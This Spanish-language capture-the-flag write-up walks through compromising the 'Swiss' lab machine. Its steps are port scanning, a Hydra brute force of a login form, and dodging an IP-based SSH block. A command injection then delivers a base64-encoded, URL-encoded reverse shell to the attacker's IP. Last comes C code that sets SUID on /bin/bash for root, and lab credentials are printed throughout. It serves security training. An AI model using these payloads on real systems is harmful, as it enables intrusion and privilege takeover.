> For the complete documentation index, see [llms.txt](https://shinki-organization.gitbook.io/dw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://shinki-organization.gitbook.io/dw/write-ups/quickstart/maquinas-medio/swiss-write-up.md).

# Swiss write-up

## **Verificamos conexión con la máquina víctima**

<figure><img src="/files/WaAp8iMmtP5UmmCSrIAf" alt=""><figcaption></figcaption></figure>

## **Escaneo de puertos abiertos y explotación de vulnerabilidades**

Utilizamos **Nmap** para escanear los puertos abiertos de la máquina víctima con el siguiente comando:

```bash
sudo nmap -p- -sCVS --min-rate=5000 -vvv -Pn -n -O 172.17.0.2
```

<figure><img src="/files/qaBjZ6zg69StCb6XNZIi" alt=""><figcaption></figcaption></figure>

El escaneo nos indica que el puerto 22 (SSH) y el 80 (HTTP) están abiertos. Así que ingresamos la IP de la máquina víctima en el navegador y observamos lo siguiente:

<figure><img src="/files/dnHlATHClX4kbVX8xhOQ" alt=""><figcaption></figcaption></figure>

Si ahora inspeccionamos el código fuente contemplamos lo siguiente:

<figure><img src="/files/3oMYJg1zRk0Hjs8A64en" alt=""><figcaption></figcaption></figure>

Descubrimos la ruta `./sobre-mi/index.php`, así que hacemos clic y contemplamos lo siguiente:

<figure><img src="/files/tD2CefJoKSTmwL2Oi1aV" alt=""><figcaption></figcaption></figure>

Si ahora volvemos a inspeccionar el código fuente veremos lo siguiente:

<figure><img src="/files/zV7vLfNanGzVLyl5wfDd" alt=""><figcaption></figcaption></figure>

Observamos una redirección a la ruta `sms.php`, hacemos clic y observamos lo siguiente:

<figure><img src="/files/Haemxb8dr2tZ1yFhzyx3" alt=""><figcaption></figcaption></figure>

Inspeccionado el código fuente examinamos lo siguiente:

<figure><img src="/files/OD5Bo6kmeJhExSeeoB2B" alt=""><figcaption></figcaption></figure>

Así que ahora vamos a hacer un ataque de fuerza bruta con la herramienta llamada hydra ejecutando lo siguiente:

```bash
hydra -L /usr/share/seclists/Usernames/top-usernames-shortlist.txt -P ../rockyou.txt 172.17.0.2 http-post-form '/sobre-mi/login.php:username=^USER^&password=^PASS^:F=Usuario o contraseña incorrectos.' -F -V -t 64 -I -u
```

<figure><img src="/files/qSmXL2wfvRZAWQ89q4qQ" alt=""><figcaption></figcaption></figure>

Esto nos indica las credenciales `administrator:panther`. Así que iniciamos sesión y observamos lo siguiente:

<figure><img src="/files/a9MRc2NRCl4X6y3D7wa4" alt=""><figcaption></figcaption></figure>

Esto nos indica que las credenciales `darks:_dkvndsqwcdfef34445`. Así que iniciamos sesión por el servicio SSH y presenciamos lo siguiente:

<figure><img src="/files/pdk8DPmLHYs6Y502id4p" alt=""><figcaption></figcaption></figure>

Esto confirma que efectivamente se está cortando la conexión dependiendo que IP se conecte. Así que vamos a ir cambiándola con el siguiente comando mientra volvemos a intentar conectarnos.

```
sudo ip address del <IP actual>/16 dev docker0

sudo ip address add <IP a la que se quiere cambiar>/16 dev docker0
```

Probando vemos que con la IP `172.17.0.200` nos permite conectarnos a la máquina víctima.

<figure><img src="/files/DeM4Qd2BChPnS4uLWqtd" alt=""><figcaption></figcaption></figure>

Sin embargo, observamos que la shell obtenida está restringida. Además nos encontramos un mensaje que dice lo siguiente:

<figure><img src="/files/bH8xPBXUaCkfj6z3UYr7" alt=""><figcaption></figcaption></figure>

Buscando el fallo de seguridad encontramos un parámetro vulnerable en la ruta `http://172.17.0.2/sobre-mi/confidencial.php` usando la herramienta `wfuzz` con el siguiente comando:

```bash
wfuzz -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -u "http://172.17.0.2/sobre-mi/confidencial.php?FUZZ=whoami" -t 200 --hl=44
```

<figure><img src="/files/1OZRG88JG7RmzPYqt4Fu" alt=""><figcaption></figcaption></figure>

Así que ahora vamos a enviarnos un shell interactiva introduciendo lo siguiente en el parámetro:

```bash
echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTcuMC4yMDAvNDQ0NCAwPiYx" | base64 -d | bash
```

Que url encodeada sería de está manera:

```url
%65%63%68%6f%20%22%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4e%7a%49%75%4d%54%63%75%4d%43%34%79%4d%44%41%76%4e%44%51%30%4e%43%41%77%50%69%59%78%22%20%7c%20%62%61%73%65%36%34%20%2d%64%20%7c%20%62%61%73%68
```

Así que nos ponemos en escucha e ingresamos `http://172.17.0.2/sobre-mi/confidencial.php?cmd=%65%63%68%6f%20%22%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4e%7a%49%75%4d%54%63%75%4d%43%34%79%4d%44%41%76%4e%44%51%30%4e%43%41%77%50%69%59%78%22%20%7c%20%62%61%73%65%36%34%20%2d%64%20%7c%20%62%61%73%68` en el navegador.

<figure><img src="/files/8ZGoJQIDoY6LjGJwc5gU" alt=""><figcaption></figcaption></figure>

Observamos que nuestra sesión se vuelve a cortar, así que tendremos que iniciar sesión rápidamente como el usuario `darks:_dkvndsqwcdfef34445` para que no se corte la conexión.

<figure><img src="/files/VD6SotSb9z3v0rbwJiEO" alt=""><figcaption></figcaption></figure>

## **Escalada de privilegios**

Una vez dentro de la máquina víctima, encontramos el archivo `sendinv2`, el cual se encuentra en la ruta `/var/www/`. Como se trata de archivo en binario nos lo vamos a compartir a nuestra máquina víctima con ayuda de Python.

```bash
python3 -m http.server 8080
```

```bash
wget -O- 172.17.0.2:8080/sendinv2 > sendinv2
```

<figure><img src="/files/KVSdWOOYpsmK5AMwpzyn" alt=""><figcaption></figcaption></figure>

Ahora ejecutaremos lo siguiente para inspeccionar el archivo:

```bash
strings sendinv2
```

<figure><img src="/files/nPtvVRXTSdyacDPu11TN" alt=""><figcaption></figcaption></figure>

Vemos que aparece un mensaje de error al intentarse conectar a la IP 172.17.0.188. Así que ahora ejecutaremos el binario en la máquina víctima.

<figure><img src="/files/OWF6ayi9MCSpjVnmAmgO" alt=""><figcaption></figcaption></figure>

Y a continuación, cambiamos nuestra IP a la 172.17.0.188.

```bash
sudo ip address del 172.17.0.200/16 dev docker0

sudo ip address add 172.17.0.188/16 dev docker0
```

<figure><img src="/files/9damMmuP6tRFzyQgOg65" alt=""><figcaption></figcaption></figure>

Ahora ejecutamos lo siguiente para analizar el trafico de red en tiempo real:

```bash
sudo tcpdump -i docker0
```

<figure><img src="/files/O9EHH3unL4l5tupd1jCo" alt=""><figcaption></figcaption></figure>

Vemos que se está intentando conectar por el protocolo udp a través del puerto `7777`. Así que nos pondremos en escucha con el siguiente comando:

```bash
sudo nc -nvvulp 7777
```

<figure><img src="/files/nDXwZ6hwfeEideegdasp" alt=""><figcaption></figcaption></figure>

Observamos que se nos está enviando lo siguiente:

```plaintext
MFDTS42ZKNCWOYZSHF2GEM2NM5NFO53HLIZUUMLDI44GOULNPBUFSMTUIRMVQULTJFEEE3DCNZHGQYSXHF5ESR2WOVEUOVTVLEZUU4DDJBJGQY3JIJWGGM2SNQFESSCONRRW4WTMMNUUE522LBFHMSKHGV3ESSCSOBNFONLMJFDTK2C2I5CWOWSHKVTWCVZVGBNFQSTMMN4XOZ3EI5KWOWKXNB3GG3SKNBRW2VLHMRDWY3DCLBBHMCSPNFBGUY3NNR5GIR2GONHW2UTZMIZUE2TBI44XUZCHHF3U4RCVPJKTA4CHJFCG6Z22I5WHUWTOJIYWIR2FJMFA====
```

Para desencriptarlo ejecutamos lo siguiente:

```bash
echo -n "MFDTS42ZKNCWOYZSHF2GEM2NM5NFO53HLIZUUMLDI44GOULNPBUFSMTUIRMVQULTJFEEE3DCNZHGQYSXHF5ESR2WOVEUOVTVLEZUU4DDJBJGQY3JIJWGGM2SNQFESSCONRRW4WTMMNUUE522LBFHMSKHGV3ESSCSOBNFONLMJFDTK2C2I5CWOWSHKVTWCVZVGBNFQSTMMN4XOZ3EI5KWOWKXNB3GG3SKNBRW2VLHMRDWY3DCLBBHMCSPNFBGUY3NNR5GIR2GONHW2UTZMIZUE2TBI44XUZCHHF3U4RCVPJKTA4CHJFCG6Z22I5WHUWTOJIYWIR2FJMFA====" | base32 -d | base64 -d
```

<figure><img src="/files/wQ0O6CWgUE1IWAgXny2Z" alt=""><figcaption></figcaption></figure>

Ahora que hemos obtenido las credenciales del usuario cristal (cristal:dropchostop453SJF), volvemos a cambiar nuestra IP a `172.17.0.200` y iniciamos sesión como el usuario `cristal`.

<figure><img src="/files/AL1BH0KCXGGYSIp4QOLs" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/RVWPdJuGHU1NP0nHn9BD" alt=""><figcaption></figcaption></figure>

Ahora que somos el usuario `cristal`, nos encontramos con el archivo `/home/cristal/systm.sh`, el cual vemos que se ejecuta como usuario `root` al analizar los procesos.

<figure><img src="/files/xgDgPKEc7Uol7BJGGW5E" alt=""><figcaption></figcaption></figure>

Este archivo compila cada 15 segundo el archivo `/home/cristal/systm.c` y lo nombra `/home/cristal/syst`, para después ejecutarlo.

<figure><img src="/files/2JqS659VHuBL8ROpTlS6" alt=""><figcaption></figcaption></figure>

Así que vamos a cambiar el contenido del archivo `/home/cristal/systm.c` para que de permisos SUID al binario `/bin/bash`. Ingresaremos lo siguiente:

```c
#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <unistd.h>

int main() {
    const char *bash_path = "/bin/bash";

    // Cambia el owner a root
    if (chown(bash_path, 0, 0) != 0) {
        perror("chown");
        return 1;
    }

    // Cambia permisos: agrega bit SUID
    if (chmod(bash_path, 04755) != 0) {
        perror("chmod");
        return 1;
    }

    printf("✅ /bin/bash ahora tiene SUID.\n");
    return 0;  // Opcional, pero buena práctica
}
```

Finalmente, solo nos quedaría ejecutar el comando `bash -p` y obtendríamos una shell con privilegios elevados.

<figure><img src="/files/eWYdBBk5kNfuFbHZCywk" alt=""><figcaption></figcaption></figure>
